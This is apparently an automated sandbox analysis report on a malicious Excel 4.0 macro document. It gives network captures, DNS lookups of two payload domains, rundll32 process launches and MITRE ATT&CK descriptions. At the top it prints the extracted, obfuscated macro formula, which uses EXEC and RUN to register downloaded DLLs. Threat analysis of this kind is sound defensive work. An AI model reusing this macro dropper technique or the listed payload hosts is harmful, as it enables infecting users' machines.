"=MDETERM(56241452475)=EXEC(Doc3!BB22&Doc3!BB23&Doc3!BB24&Doc3!BB30&""2 ""&Doc3!BC17&Doc3!BD31&""lRegi""&""ster""&""Ser""&""ver"")=EXEC(Doc3!BB22&Doc3!BB23&Doc3!BB24&Doc3!BB30&""2 ""&Doc3!BC18&""1""&Doc3!BD31&""lRegi""&""ster""&""Ser""&""ver"")=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=RUN(Doc3!AY22)"

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 12, 2021 13:36:18.637072086 CEST	49167	443	192.168.2.22	192.185.39.58
May 12, 2021 13:36:18.795433044 CEST	443	49167	192.185.39.58	192.168.2.22
May 12, 2021 13:36:18.795515060 CEST	49167	443	192.168.2.22	192.185.39.58
May 12, 2021 13:36:18.806746960 CEST	49167	443	192.168.2.22	192.185.39.58
May 12, 2021 13:36:18.965063095 CEST	443	49167	192.185.39.58	192.168.2.22
May 12, 2021 13:36:18.977941990 CEST	443	49167	192.185.39.58	192.168.2.22
May 12, 2021 13:36:18.977979898 CEST	443	49167	192.185.39.58	192.168.2.22
May 12, 2021 13:36:18.978003025 CEST	443	49167	192.185.39.58	192.168.2.22
May 12, 2021 13:36:18.978024960 CEST	49167	443	192.168.2.22	192.185.39.58
May 12, 2021 13:36:18.978048086 CEST	49167	443	192.168.2.22	192.185.39.58
May 12, 2021 13:36:18.978049994 CEST	49167	443	192.168.2.22	192.185.39.58
May 12, 2021 13:36:19.027759075 CEST	49167	443	192.168.2.22	192.185.39.58
May 12, 2021 13:36:19.195558071 CEST	443	49167	192.185.39.58	192.168.2.22
May 12, 2021 13:36:19.195733070 CEST	49167	443	192.168.2.22	192.185.39.58
May 12, 2021 13:36:21.040438890 CEST	49167	443	192.168.2.22	192.185.39.58
May 12, 2021 13:36:21.238861084 CEST	443	49167	192.185.39.58	192.168.2.22
May 12, 2021 13:36:21.293229103 CEST	443	49167	192.185.39.58	192.168.2.22
May 12, 2021 13:36:21.293401957 CEST	49167	443	192.168.2.22	192.185.39.58
May 12, 2021 13:36:21.293663979 CEST	49167	443	192.168.2.22	192.185.39.58
May 12, 2021 13:36:21.293690920 CEST	443	49167	192.185.39.58	192.168.2.22
May 12, 2021 13:36:21.293746948 CEST	49167	443	192.168.2.22	192.185.39.58
May 12, 2021 13:36:21.364733934 CEST	49170	443	192.168.2.22	192.185.32.232
May 12, 2021 13:36:21.451880932 CEST	443	49167	192.185.39.58	192.168.2.22
May 12, 2021 13:36:21.527550936 CEST	443	49170	192.185.32.232	192.168.2.22
May 12, 2021 13:36:21.527684927 CEST	49170	443	192.168.2.22	192.185.32.232
May 12, 2021 13:36:21.528297901 CEST	49170	443	192.168.2.22	192.185.32.232
May 12, 2021 13:36:21.692147970 CEST	443	49170	192.185.32.232	192.168.2.22
May 12, 2021 13:36:21.704421997 CEST	443	49170	192.185.32.232	192.168.2.22
May 12, 2021 13:36:21.704468966 CEST	443	49170	192.185.32.232	192.168.2.22
May 12, 2021 13:36:21.704494953 CEST	443	49170	192.185.32.232	192.168.2.22
May 12, 2021 13:36:21.704571962 CEST	49170	443	192.168.2.22	192.185.32.232
May 12, 2021 13:36:21.704610109 CEST	49170	443	192.168.2.22	192.185.32.232
May 12, 2021 13:36:22.068232059 CEST	49170	443	192.168.2.22	192.185.32.232
May 12, 2021 13:36:22.272583008 CEST	443	49170	192.185.32.232	192.168.2.22
May 12, 2021 13:36:22.303575039 CEST	443	49170	192.185.32.232	192.168.2.22
May 12, 2021 13:36:22.303756952 CEST	49170	443	192.168.2.22	192.185.32.232
May 12, 2021 13:36:22.350397110 CEST	49170	443	192.168.2.22	192.185.32.232
May 12, 2021 13:36:22.513715982 CEST	443	49170	192.185.32.232	192.168.2.22
May 12, 2021 13:36:22.932055950 CEST	443	49170	192.185.32.232	192.168.2.22
May 12, 2021 13:36:22.932288885 CEST	49170	443	192.168.2.22	192.185.32.232
May 12, 2021 13:36:22.932543993 CEST	443	49170	192.185.32.232	192.168.2.22
May 12, 2021 13:36:22.932643890 CEST	49170	443	192.168.2.22	192.185.32.232
May 12, 2021 13:36:22.933046103 CEST	49170	443	192.168.2.22	192.185.32.232
May 12, 2021 13:36:23.095694065 CEST	443	49170	192.185.32.232	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 12, 2021 13:36:18.566679001 CEST	52197	53	192.168.2.22	8.8.8.8
May 12, 2021 13:36:18.626218081 CEST	53	52197	8.8.8.8	192.168.2.22
May 12, 2021 13:36:19.562846899 CEST	53099	53	192.168.2.22	8.8.8.8
May 12, 2021 13:36:19.611628056 CEST	53	53099	8.8.8.8	192.168.2.22
May 12, 2021 13:36:19.619761944 CEST	52838	53	192.168.2.22	8.8.8.8
May 12, 2021 13:36:19.668454885 CEST	53	52838	8.8.8.8	192.168.2.22
May 12, 2021 13:36:20.234469891 CEST	61200	53	192.168.2.22	8.8.8.8
May 12, 2021 13:36:20.293826103 CEST	53	61200	8.8.8.8	192.168.2.22
May 12, 2021 13:36:20.307723045 CEST	49548	53	192.168.2.22	8.8.8.8
May 12, 2021 13:36:20.359381914 CEST	53	49548	8.8.8.8	192.168.2.22
May 12, 2021 13:36:21.310321093 CEST	55627	53	192.168.2.22	8.8.8.8
May 12, 2021 13:36:21.361804008 CEST	53	55627	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
May 12, 2021 13:36:18.566679001 CEST	192.168.2.22	8.8.8.8	0x887e	Standard query (0)	signifysystem.com	A (IP address)	IN (0x0001)
May 12, 2021 13:36:21.310321093 CEST	192.168.2.22	8.8.8.8	0xc5f8	Standard query (0)	fcventasyservicios.cl	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
May 12, 2021 13:36:18.626218081 CEST	8.8.8.8	192.168.2.22	0x887e	No error (0)	signifysystem.com		192.185.39.58	A (IP address)	IN (0x0001)
May 12, 2021 13:36:21.361804008 CEST	8.8.8.8	192.168.2.22	0xc5f8	No error (0)	fcventasyservicios.cl		192.185.32.232	A (IP address)	IN (0x0001)

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
May 12, 2021 13:36:18.978003025 CEST	192.185.39.58	443	192.168.2.22	49167	CN=cpcontacts.signifysystem.com CN=R3, O=Let's Encrypt, C=US	CN=R3, O=Let's Encrypt, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.	Thu Apr 01 17:00:25 CEST 2021 Wed Oct 07 21:21:40 CEST 2020	Wed Jun 30 17:00:25 CEST 2021 Wed Sep 29 21:21:40 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,0-10-11-13-23-65281,23-24,0	7dcce5b76c8b17472d024758970a406b
May 12, 2021 13:36:18.978003025 CEST	192.185.39.58	443	192.168.2.22	49167	CN=R3, O=Let's Encrypt, C=US	CN=DST Root CA X3, O=Digital Signature Trust Co.	Wed Oct 07 21:21:40 CEST 2020	Wed Sep 29 21:21:40 CEST 2021		7dcce5b76c8b17472d024758970a406b
May 12, 2021 13:36:21.704494953 CEST	192.185.32.232	443	192.168.2.22	49170	CN=mail.fcventasyservicios.cl CN=R3, O=Let's Encrypt, C=US	CN=R3, O=Let's Encrypt, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.	Tue Mar 16 13:01:12 CET 2021 Wed Oct 07 21:21:40 CEST 2020	Mon Jun 14 14:01:12 CEST 2021 Wed Sep 29 21:21:40 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,0-10-11-13-23-65281,23-24,0	7dcce5b76c8b17472d024758970a406b
May 12, 2021 13:36:21.704494953 CEST	192.185.32.232	443	192.168.2.22	49170	CN=R3, O=Let's Encrypt, C=US	CN=DST Root CA X3, O=Digital Signature Trust Co.	Wed Oct 07 21:21:40 CEST 2020	Wed Sep 29 21:21:40 CEST 2021		7dcce5b76c8b17472d024758970a406b

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

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High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

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System Behavior

Analysis Process: EXCEL.EXE PID: 552 Parent PID: 584

General

Start time:	13:35:45
Start date:	12/05/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13f780000
File size:	27641504 bytes
MD5 hash:	5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 2384 Parent PID: 552

General

Start time:	13:35:52
Start date:	12/05/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32 ..\ritofm.cvm,DllRegisterServer
Imagebase:	0xffa80000
File size:	45568 bytes
MD5 hash:	DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 2320 Parent PID: 552

General

Start time:	13:35:53
Start date:	12/05/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32 ..\ritofm.cvm1,DllRegisterServer
Imagebase:	0xffa80000
File size:	45568 bytes
MD5 hash:	DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Analysis Report 32154f4c_by_Libranalysis

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Sigma Overview

System Summary:

Signature Overview

Compliance:

Software Vulnerabilities:

Networking:

System Summary:

Hooking and other Techniques for Hiding and Protection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "32154f4c_by_Libranalysis.xls"

Indicators

Summary

Document Summary

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General

Stream Path: Book, File Type: Applesoft BASIC program data, first line number 8, Stream Size: 363283

General

Macro 4.0 Code

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTPS Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

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Behavior